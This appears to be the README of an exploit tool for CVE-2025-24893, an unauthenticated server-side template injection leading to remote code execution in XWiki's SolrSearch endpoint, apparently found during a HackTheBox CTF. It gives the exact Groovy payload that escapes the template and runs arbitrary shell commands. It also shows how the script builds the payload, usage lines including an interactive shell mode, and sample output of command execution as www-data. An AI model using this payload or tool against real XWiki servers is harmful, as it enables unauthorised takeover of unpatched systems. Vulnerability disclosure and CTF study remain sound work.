| 字段 | 详情 |
|---|---|
| CVE | CVE-2025-24893 |
| 软件 | XWiki |
| 漏洞 | 服务端模板注入 (SSTI) → 远程代码执行 (RCE) |
| 认证 | 不需要 |
| CVSS 评分 | 严重 |
| 背景 | 在 HackTheBox CTF 期间发现 |
XWiki 暴露了一个 SolrSearch 端点 (/xwiki/bin/get/Main/SolrSearch),该端点直接将用户输入渲染到 Groovy 模板引擎中,且未进行任何清理。未认证的攻击者可以通过 text 查询参数注入 Groovy 表达式,从而在底层服务器上实现远程代码执行。
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
text 参数被直接嵌入到 XWiki 宏上下文中,并由 Groovy 引擎求值。注入点使用 }}} 转义模板上下文,并打开 {{async}}{{groovy}} 代码块:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
输出结果会在 RSS 响应体中回显,并可通过正则表达式提取。
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
响应为 XML/RSS 格式 —— 命令输出出现在 [}}} 和 ]</ 标记之间,且包含 HTML 转义字符。
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
# 单条命令
python3 exploit.py -t wiki.target.htb -c "id"
# 交互式 Shell
python3 exploit.py -t wiki.target.htb -i
# 自定义端口 HTTPS
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| 标志 | 描述 |
|---|
-t | 目标主机名或 IP |
-p | 端口(默认:80) |
-s | 使用 HTTPS |
-i | 交互式 Shell 模式 |
-c | 单次命令执行 |
-v | 详细输出 |